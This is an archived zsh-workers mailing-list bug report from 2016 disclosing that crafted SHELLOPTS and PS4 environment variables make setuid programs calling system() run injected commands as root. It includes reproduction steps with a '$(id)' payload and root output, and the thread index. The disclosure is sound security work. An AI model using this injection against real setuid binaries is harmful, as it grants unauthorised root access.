zsh-workers
 help / color / mirror / code / Atom feed
* BUG: crafting SHELLOPTS and PS4 allows to run arbitrary programs in setuid binaries using system
@ 2016-09-27  6:59 Mateusz Lenik
  2016-09-27  7:53 ` Daniel Shahaf
  2016-09-27  8:56 ` Oliver Kiddle
  0 siblings, 2 replies; 10+ messages in thread
From: Mateusz Lenik @ 2016-09-27  6:59 UTC (permalink / raw)
  To: zsh-workers

[-- Attachment #1: Type: text/plain, Size: 625 bytes --]

Hello everyone!

I just learned that bash fixed a vulnerability that also affects zsh. It
allowed to run arbitrary programs by crafting SHELLOPTS and PS4 variables
against setuid binaries using system/popen.

Steps to reproduce:
% gcc -xc - -otest <<< 'int main() { setuid(0); system("/bin/date"); }'
% sudo chown root:root test
% sudo chmod 4755 test
% env -i SHELLOPTS=xtrace PS4='$(id)' ./test
uid=0(root) gid=... groups=.../bin/date
Tue Sep 27 08:49:16 CEST 2016
% zsh --version

zsh 5.2 (x86_64-pc-linux-gnu)
%

The solution that bash folks implemented is to drop PS4 from env when the
shell is ran as root.

Best,
mlen

^ permalink raw reply	[flat|nested] 10+ messages in thread

end of thread, other threads:[~2016-09-29 13:21 UTC | newest]

Thread overview: 10+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2016-09-27  6:59 BUG: crafting SHELLOPTS and PS4 allows to run arbitrary programs in setuid binaries using system Mateusz Lenik
2016-09-27  7:53 ` Daniel Shahaf
2016-09-27  8:43   ` Mateusz Lenik
2016-09-27  9:02   ` Peter Stephenson
2016-09-27 19:26     ` Bart Schaefer
2016-09-28 10:37     ` Simon Ruderich
2016-09-28 19:04       ` Bart Schaefer
2016-09-29 13:20       ` Peter Stephenson
2016-09-27  8:56 ` Oliver Kiddle
2016-09-27  9:28   ` Peter Stephenson

Code repositories for project(s) associated with this public inbox

	https://git.vuxu.org/mirror/zsh/

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).